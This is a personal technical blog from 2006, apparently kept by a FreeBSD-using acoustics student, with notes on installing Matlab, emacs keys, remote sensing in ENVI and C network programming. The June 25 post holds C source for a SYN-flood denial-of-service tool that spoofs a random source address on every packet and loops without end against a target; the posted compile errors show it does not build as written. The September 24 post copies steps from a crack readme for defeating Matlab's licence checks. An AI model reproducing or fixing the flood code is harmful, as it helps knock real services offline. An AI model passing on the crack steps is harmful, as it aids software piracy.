Openness & Freedom

December 2, 2006

Installation of Matlab7

Filed under: Uncategorized

Because of the license server problem with matlab6.5,I have to uninstall it and turn to Matlab7,however,it uses more system resource.

Because of the java with Matlab is for linux,my system is Freebsd,I have to install the jdk which can run at Freebsd,then
cd /usr/ports/java/jdk14
make install clean
Then you will have the new java at /usr/local/linux-sun-jdk1.4.2
ln -s /usr/local/linux-sun-jdk1.4.2/jre $MATLAB/sys/java/jre/glnx86/jre1.4.2
now your matlab7 can run smoothly.

finally add a startup.m file
in $MATLAB/toolbox/local with the following line inside
set(0,’DefaultFigureRenderer’,'ZBuffer’,'DefaultFigureRendererMode’,'Manual’)

The above three lines is from list@Freebsd,so add it

November 15, 2006

emacs

Filed under: Uncategorized

C-v move forward one screenful
M-v move backward one screenful
C-l clean the screen and redisplay all the text,move the texts around the cursor to the middle of the screen.
C-p previous line
C-n next line
C-b backward
C-f forward
M-b backward by one word
M-f forward by one word
Very often meta characters are used for operations related to the units defined by language(words,sentenses,paragraghs)
C-a move to the beginning of the line
C-e move to the end of the line
M-a move to the beginning of the sentense
M-e move to the end of the sentense
M-< move to the beginning of the whole text
M-> move to the end of the whold text
The way you give a command a repeat count is by typing C-u and then the digits before you type the command.
There is an exception that typing C-u 8 C-v scrolls the screen by 8 lines.
C-g stop a command which is taking too long to execute,also you can discard a numeric argument
C-x C-l which is a disabled command ,converts the selected region to the low case.
C-x 1 expands the window which contains the cursor,to occupy the full screen.It deletes all other windows.
C-h k explain the command
Backspace delete the character just before the cursor
C-d delete the character after the cursor
M-backspace kill the word immediatly before the cursor
M-d kill the word after the cursor
C-k kill from the cursor position to the end of line
M-k kill to the end of the current sentense
You can kill any part of the buffer with one uniform method,move to one end of the part,C-@or C-SPC(space),move to the other end of the part,type C-w
C-y It reinserts the last killed(not deleted )word or sentense.
C-x u If you make a change to the text,you can undo the latest change with the undo command C-x u
C-x C-f Find a file
C-x C-s save the file
C-x C-c end the emacs session
C-x C-b list the buffers
C-x b switch to the buffer corresponding to the file
C-z exit Emacs temporarily so you can go back to the same emacs session afterward using ‘fg’ or ‘%emacs’

C-x s save some buffers
M-x fundamental-mode switch to the fundamental mode
M-x text-mode switch to the editing human-language text
M-x global-font-lock-mode swith to the mode color
M-x recover-file recover the autosaved file
M-x replace
One minor mode is very important,especially for editing human-language text,is Auto Fill mode,when this mode is on,the emacs break the line in between words automatically whenever you insert text.
M-x auto-fill-mode
The margin is usually set at 70 characters,but you can change it with
C-u digit C-x f(the digit is the new margin number)
If you make changes,Auto Fill mode doesn’t refill for you,you should
M-q to refill
C-s search forward
C-r search backward
C-x o switch between the windows
C-M-v which scrolls the other windows
Recursive editing levels,to get out of the recursive editing level ,type Esc Esc Esc,take care that C-g is useless for getting out the recursive level
C-h t tutorial
C-h c
C-h k
C-h f describe a function

November 14, 2006

The recent work

Filed under: Uncategorized

What do I do for the recent time,I install the teTeX,know something about it ,but I am still unknown about the usage of the giant guy,howerver,it’s at my home now ^_^.From the installation of the teTeX,I get the method of setting the proxy of fetch and the gate of ftp.
The proxy setting of fetch which is used by pkg_add -r
setenv FTP_PROXY ip[:port](my shell is csh,so I use setenv to set the env,if your shell is bash,you should use export)
The gate setting of ftp is
gate ip [port](note that there is space between ip and port)
Although the work consumes my much time,it worths doing .
I happened to solving one messy problem yesterday night.The screen solution is too slow before,it was just 640x480,it’s ajusted to 800x600 now.The freebsd looks more comfortable,I love it more.The cause is this:
Because I was afraid that my eyes were hurt by the radiation from the monitor,I added two entries to /etc/X11/xorg.conf:HorizSync and VertRefresh.After the addtion which doesn’t seem to relate with the resolution,the resolution changed.@_@
Freebsd is elegant as my name elegant-boy…………………

November 4, 2006

remote sensing

Filed under: Uncategorized

Recently ,I focus my energy and time on the remote sensing.My speciality is acoustics,so I don’t attend to my proper work this time.

The work is bumpy ,of course.I have to find a lot of stuff first,then read them again and again to get the impression about the subject.Download the software envi4.2,install it and learn how to use it.The more bad thing is that the envi4.2 has an interface to IDL which is a programming language and I have to learn it too.Then my work begins.

Through lots of hard work,I get the basic knowledge of the remote sensing subject,the usage of ENVI+IDL,how to process the first calibration,the method of the atmosphere correction,the reason why process the geometry correction,the cloud detection and clearness and land-mask.

The below is the course of my processing:

first step:we calibrate the AVHRR data first,this is the routine embeded in ENVI,
Basic Tools->Preprocessing Data-Specific Utilities-> AVHRR -> Calibrate Data.
and our first step is over now ,we process to the second step

second step:
get the geometry file containing the geography information(latitude and longitude) and the angle information(solar zenith angle and sensor zenith angle).The geography information will be used to georeference the data file , and the angle information will be used to the several following steps such as the atmosphere correction.
Basic Tools-> Preprocessing Data-Specific Utilities-> AVHRR -> Build Geometry File.

When this step is over,we can make sure the part of map we need because we get the geography information of the map.When we process the above steps,we can choose the map’s subset to save machine’s time and storage.

Third step:
Because of the atmosphere absorbs or scatters the light,the reflectivity that the satellite receives differs with the real value.We have to process the atmosphere correction to get the groud reflectivity,we choose the SMAC algorithm because of its simpleness.I write a program to implement this algorithm with IDL,it’s not a hard work that it looks like.If you want it ,you can email to me.Then I make use of the BAND MATH to process the third step
atmoscor1(b1,b2,b3),there are three bands which need we point.
b1 links to the solar zenith angle band,b2 links to the sensor zenith angle band,b3 links to the data file band which needs correction.

Forth step:
The cloud detection and clear

Fifth step:

September 24, 2006

The installation of Matlab in Freebsd

Filed under: Uncategorized

System:Freebsd6.0
My major is acoustics,so I need matlab all the time.I heard that Matlab runs faster in Freebsd before,so I made a decision installing it in Freebsd.
As before,what you should do first is that you should refer to the Freebsd handbook .
The address:
http://www.freebsd.org/doc/en_US.ISO8859-1/books/handbook/linuxemu-lbc-install.html
http://www.freebsd.org/doc/en_US.ISO8859-1/books/handbook/linuxemu-matlab.html
The manufactories always develop their products on the linux platform,not freebsd ,not unix either,because linux is now the most popular platform in the open-source field.Matlab is the case above.
How do we install Matlab in Freebsd,I seperate the process into three steps.
first:install the linux-emulation.
second:install the matlab
third:configure the matlab to use it conveniently.

The first step:
you can refer to the handbook of Freebsd first,this’s the basic knowledge.
http://www.freebsd.org/doc/en_US.ISO8859-1/books/handbook/linuxemu-lbc-install.html
There may be multiple versions of the emulators/linux_base port available, this sentense is from the handbook,I choose linux_base-8 as the linux emulation base.
cd /usr/ports/emulators/linux_base-8
make install distclean
Then the installation begins,just wait the process to be finished!

The second step:
you can refer to the handbook of Freebsd first,you’ll get the flow of the process.
http://www.freebsd.org/doc/en_US.ISO8859-1/books/handbook/linuxemu-matlab.html
As a chinese student,I download the Matlab6.5 from www.twt.edu.cn.If you search in the google,you’ll find the link easily.There’re three files,two of which are ISO files which are the matlab files,the other one is the crack file.
mdconfig -a -t matlabcd1.iso -u md0
mount_cd9660 /dev/md0 /cdrom
then
the ISO file is mounted into the file architecture /cdrom,then we start the install,type:
/compat/linux/bin/sh /cdrom/install
If your system doesn’t have libXext.so.6,then the installation can only be operated in text-mode,you’ll get the tips form the interrupted installation.
When you get the words:the root directory of Matlab,you have to set the path under the /compat/linux,we can set /compat/linux/usr/local/matlab.
The following operation is from the crack file readme.txt.I paste them here.
4.unable install for no valid license data.
5.cancel install
6.edit the auto create license file /compat/linux/usr/local/matlab/etc/license.dat
change VENDOR_STRING=”81″ to VENDOR_STRING=”3ffffd76f7ffff”,
and change expiration date change to 01-jan-0000
change license code from 0123456789ABCDEFGHIJ to
00000000000000000000
7.run cdmatliclux input /compat/linux/usr/local/matlab
The output are series of numbers relative to name entries,you can compare the output with license.dat,and replace the 00000000000000000000by the sery of numbers relative to the name entry.
return to the step
/compat/linux/bin/sh /cdrom/install
you’ll find the installation goes smoothly,then the installation of Matlab is finished!
The third step:
you can follow the handbook
http://www.freebsd.org/doc/en_US.ISO8859-1/books/handbook/linuxemu-matlab.html

When you run the matlab ,you may confront the problem that the libXext.so.6 file doesn’t exist in your system.The method which I use to solve this headache is install adobe-reader,
cd /usr/ports/print/adoberead/
make distclean install
Then the file which you need to run Matlab is installed into your system!
Then you can run matlab now,enjoy yourself

June 25, 2006

Filed under: Uncategorized

/*Dos attack implement*/
#include “apue.h”
#include “arpa/inet.h”
#include “sys/socket.h”
#include “netdb.h”
#include “netinet/in.h”
#include “netinet/in_systm.h”
#include “netinet/ip.h”
#include “netinet/tcp.h”
#define DESTPORT 80
#define LOCALPORT 8888
void send_dos(int,struct sockaddr_in *);
int
main(int argc,char *argv[])
{
struct sockaddr_in * dest;
struct sockaddr_in * host;
int sockfd_dos;
if(argc!=2)
err_sys(”usage:%s destination\n”,argv[0]);
/* build the structure of the destination */
if(inet_pton(AF_INET,argv[1],&(dest->sin_addr))<0)
err_sys("inet_pton error\n");
dest->sin_port=htonl(DESTPORT);
dest->sin_family=AF_INET;
if((sockfd_dos=socket(AF_INET,SOCK_RAW,IPPROTO_TCP))<0)
err_sys("socket error,fail to creat raw socket\n");
send_dos(sockfd_dos,dest);
exit(0);
}
void
send_dos(int sockfd,struct sockaddr_in *addr)
{
int on=1;
char buff[100];
int hdlen=sizeof(struct ip)+sizeof(struct tcphdr);
struct ip *ipheader;
struct tcphdr *tcpheader;
/* include the IP header to the data*/
if(setsockopt(sockfd,IPPROTO_IP,IP_HDRINCL,&on,sizeof(int))<0)
err_sys("setsockopt error\n");
ipheader=(struct ip *)buff;
/** build our ip header structure**/
ipheader->ip_v=IPVERSION;
ipheader->ip_hl=sizeof(struct ip)>>2;//left shifting by 2 equals dividing by2
ipheader->ip_tos=0;
ipheader->ip_ttl=MAXTTL;
ipheader->ip_id=0;
ipheader->ip_off=0;
ipheader->ip_p=IPPROTO_TCP;
/* the reason we use htons() is that the type of ip_len is u_short,
and all the value in the structure except ip_id and ip_off must be
of network order.
*/
ipheader->ip_len=htons(hdlen);
ipheader->ip_sum=0;
ipheader->ip_dst=addr->sin_addr;
/* build our tcp header structure*/
tcpheader=(struct tcphdr *)(buff+sizeof(struct ip));
tcpheader->source=htons(LOCALPORT);
tcpheader->dest=addr->sin_port;
tcpheader->seq=random();
tcpheader->ack_seq=0;
tcpheader->doff=5;
tcpheader->syn=1;
tcpheader->check=0;
/* processing our Dos attack */
while(1){
ipheader->ip_src.s_addr=random();
if(sendto(sockfd,buff,hdlen,0,(struct sockaddr *)addr,\
sizeof(struct sockaddr))<0)
err_sys(”sendto error\n”);
}
exit(0);
}
Compile,then get error:
gcc Dos.c -o Dos.out -Wall
In file included from Dos.c:8:
/usr/include/netinet/ip.h:49: error: syntax error before “u_int”
/usr/include/netinet/ip.h:148: error: syntax error before “u_char”
/usr/include/netinet/ip.h:200: error: syntax error before “u_char”
Dos.c: In function `main’:
Dos.c:17: warning: unused variable `host’
Dos.c: In function `send_dos’:
Dos.c:36: error: invalid application of `sizeof’ to incomplete type `tcphdr’
Dos.c:40: error: `IP_HDRINCL’ undeclared (first use in this function)
Dos.c:40: error: (Each undeclared identifier is reported only once
Dos.c:40: error: for each function it appears in.)
Dos.c:44: error: structure has no member named `ip_v’
Dos.c:45: error: structure has no member named `ip_hl’
Dos.c:46: error: structure has no member named `ip_tos’
Dos.c:47: error: structure has no member named `ip_ttl’
Dos.c:48: error: structure has no member named `ip_id’
Dos.c:49: error: structure has no member named `ip_off’
Dos.c:50: error: structure has no member named `ip_p’
Dos.c:55: error: structure has no member named `ip_len’
Dos.c:56: error: structure has no member named `ip_sum’
Dos.c:60: error: dereferencing pointer to incomplete type
Dos.c:61: error: dereferencing pointer to incomplete type
Dos.c:62: error: dereferencing pointer to incomplete type
Dos.c:63: error: dereferencing pointer to incomplete type
Dos.c:64: error: dereferencing pointer to incomplete type
Dos.c:65: error: dereferencing pointer to incomplete type
Dos.c:66: error: dereferencing pointer to incomplete type
Leave it as a problem!

June 24, 2006

dereferencing pointer to incomplete type

Filed under: Uncategorized

I title this article with the error when I compile the C source with gcc.
My system is Freebsd6.1,so I define thd __BSD_VISIBLE so that we can use PF_INET instead of AF_INET
#ifndef __BSD_VISIBLE
#define __BSD_VISIBLE 1
#include “apue.h”
#include “netdb.h”
#include “sys/socket.h”
#include “arpa/inet.h”
#include “netinet/in.h”

void print_family(struct addrinfo *);
void print_socktype(struct addrinfo *);
void print_protocal(struct addrinfo *);
void print_cannoname(struct addrinfo *);
void print_addr(struct addrinfo *);
void
print_family(struct addrinfo *info)
{
printf(”family:”);
switch (info->ai_family){
case PF_INET:
printf(”inet\n”);
break;
case PF_INET6:
printf(”inet6\n”);
break;
case PF_UNIX:
printf(”unix domin\n”);
break;
case PF_ATM:
printf(”Atm \n”);
break;
default:
printf(”unknown\n”);
}
}
void
print_socktype(struct addrinfo *info){
printf(”socket type:”);
switch (info->ai_socktype){
case SOCK_STREAM:
printf(”stream socket”);
break;
case SOCK_DGRAM:
printf(”datagram socket”);
break;
case SOCK_RAW:
printf(”raw socket”);
break;
default:
printf(”exit,but not implemented”);
}
printf(”\n”);
}
void
print_protocal(struct addrinfo *info)
{
printf(”protocal:”);
/* Refer to the /etc/protocols file first,*/
switch (info->ai_protocol){
case 0: /* ip */
printf(”default”);
break;
case 6: /* tcp */
printf(”tcp”);
break;
case 17: /* udp */
printf(”udp”);
break;
case 41: /* ipv6 */
printf(”raw”);
break;
default:
printf(”unknown”);
}
printf(”\n”);
}
void
print_canonname(struct addrinfo *info)
{
printf(”cannocial name:”);
printf(”%s\n”,info->ai_canonname);
}
void
print_addr(struct addrinfo *info)
{
const char *addr_4;
const char *addr_6;
char addr_inet[INET_ADDRSTRLEN];
char addr_inet6[INET6_ADDRSTRLEN];
printf(”address:\t”);
if(info->ai_family==AF_INET){
if((addr_4=inet_ntop(AF_INET,&(((struct sockaddr_in *)(info->ai_addr))->sin_addr),addr_inet,INET_ADDRSTRLEN))==NULL)
err_sys(”inet_ntop error\n”);
else
printf(”%s”,addr_inet);
}
else if(info->ai_family==AF_INET6){
if((addr_6=inet_ntop(AF_INET6,&(((struct sockaddr_in6 *)(info->ai_addr))->sin6_addr),addr_inet6,INET6_ADDRSTRLEN))==NULL)
err_sys(”inet_ntop error\n”);
else
printf(”%s”,addr_inet6);
}
else
printf(”we can’t display\n”);
printf(”\n”);
}
/* we don’t implement the print_port function for now*/
void
print_port(struct addrinfo *info)
{
printf(”port:”);
}
int
main(int argc,char *argv[])
{
static struct addrinfo filter;
struct addrinfo *ailist,*aip;
if(argc!=3)
err_sys(”usage:%s host service\n”);
/* fill the struct addrinfo hints*/
filter.ai_flags=AI_CANONNAME;
filter.ai_family=0;
filter.ai_socktype=0;
filter.ai_protocol=0;
filter.ai_addrlen=0;
filter.ai_addr=NULL;
filter.ai_canonname=NULL;
if(getaddrinfo(argv[1],argv[2],&filter,&ailist)!=0)
err_sys(”getaddrinfo error\n”);
for(aip=ailist;aip!=NULL;aip=aip->ai_next){
print_canonname(aip);
print_protocal(aip);
print_family(aip);
print_socktype(aip);
print_addr(aip);
print_port(aip);
}
exit(0);
}
#endif /* !__BSD_VISBILE*/
When we don’t define #include
compiling the source will result in the error that :
dereferencing pointer to incomplete type
I search in the internet,I get something that can help you,
> i have a programming problem using gcc compiler.
> when i compile a C source file ,i got the error message:
> “dereferencing pointer to incomplete type”
> this is caused by a line:
> pqtemp->offset=0;
> where “pqtemp ” is a pointer of a “struct type”.
> so i need someone tell me what does the error message
> “dereferencing pointer to incomplete type”
> refer to ??

This is a question about C, not a question about gcc.

You have written something like
struct type *pqtemp;
without ever defining “struct type”. That is valid, but it is not valid to use pqtemp->offset without defining struct type.
In my source code ,after I include the “netinet/in.h”,the compile error disappear!

Filed under: Uncategorized

I think I have the problem how to deal with the hobby and the profession for a long time.It affects me so much that my academic life is disturbed into chaos,and now it remains to affect me.

I have passed the exam of graduate student,my profession if oceanic acoustic. I should learn the mathematic and physics more than computer which is my favorite hobby,but I learn computer only instead of mathematic or physics.This is not a thing worthing praise,this is the show of your weak self-mastery.

The problem is that what should I do tomorrow,not what should I do.Is it worth criticising yourself?
Yes,I think it’s worth your criticism.But you need a new start,the start is the day you are at home.

HEHE~~

June 22, 2006

mount usb device on freebsd

Filed under: Uncategorized

I think lots of newbie may face the problem how we mount the usb device into your system.
After you plug the device into the socket,the Os will detect the device automaticly,and load the device driver,the speed is more faster than Windows XP.
Then you run the command:
dmesg |da
Jun 22 14:01:06 PHOENIX kernel: da0: Fixed Direct Access SCSI-0 device
Jun 22 14:01:06 PHOENIX kernel: da0: 1.000MB/s transfers
Jun 22 14:01:06 PHOENIX kernel: da0: 19077MB (39070080 512 byte sectors: 255H
The device load successfully,you will find that “/dev/ad0″appear in the directory /dev,
If you have patitioned the device,then you’ll find something about /dev/ad0s1 /dev/ad0s2
This is the partitioned disk,you can mount either of them as mount any other mounting.

June 19, 2006

device distinguish

Filed under: Uncategorized

#include
#include
int
main(int argc,char *argv[])
{
/* this program is for the comparision between two file descripters,
if two file descripters have the same st_dev and st_ino value,then
we can make sure that the two point to the same file in the disk
*/
struct stat fd1_stat,fd2_stat;
int fd1,fd2;
if(argc!=3)
err_sys(”the usage:%s first second\n”,argv[0]);
errno=0;
if((fd1=(int)strtol(argv[1],(char **)NULL,10))==0){
if(errno==0)
fd1=0;
else
err_sys(”strtod error\n”);
}/*the reason we switch the errno is that maybe the value returned by strtod
equal zero,
*/
errno=0;
if((fd2=(int)strtol(argv[2],(char **)NULL,10))==0){
if(errno==0)
fd2=0;
else
err_sys(”strtod error\n”);
}
if(fstat(fd1,&fd1_stat)<0)
err_sys("fstat error\n"); //we get the stat of fd
if(fstat(fd2,&fd2_stat)<0)
err_sys("fstat error\n");
//the below is comparision that produces result
if(fd1_stat.st_dev==fd2_stat.st_dev && fd2_stat.st_ino==fd2_stat.st_ino)
printf("fd:%d and fd:%d point to the same file\n",fd1,fd2);
exit(0);
}
I write this program at Freebsd,compile it and run it.
Because the program is for distinguishing various devices,so we should write a program using device name as the parameters instead of file descripter.The below is for this purpose
#include
#include
int
main(int argc,char *argv[])
{
/* this program is for the comparision between two file descripters,
if two file descripters have the same st_dev and st_ino value,then
we can make sure that the two point to the same file in the disk
*/
struct stat fd1_stat,fd2_stat;
if(argc!=3)
err_sys(”the usage:%s first second\n”,argv[0]);
if(stat(argv[1],&fd1_stat)<0)
err_sys(”fstat error\n”); //we get the stat of fd
if(stat(argv[2],&fd2_stat)<0)
err_sys(”fstat error\n”);
//the below is comparision that produces result
if(fd1_stat.st_dev==fd2_stat.st_dev && fd2_stat.st_ino==fd2_stat.st_ino)
printf(”fd:%s and fd:%s point to the same file\n”,argv[1],argv[2]);
else
printf(”fd:%s and fd:%s point to the different files\n”,argv[1],argv[2]);






















Get free blog up and running in minutes with Blogsome
Theme designed by Hadley Wickham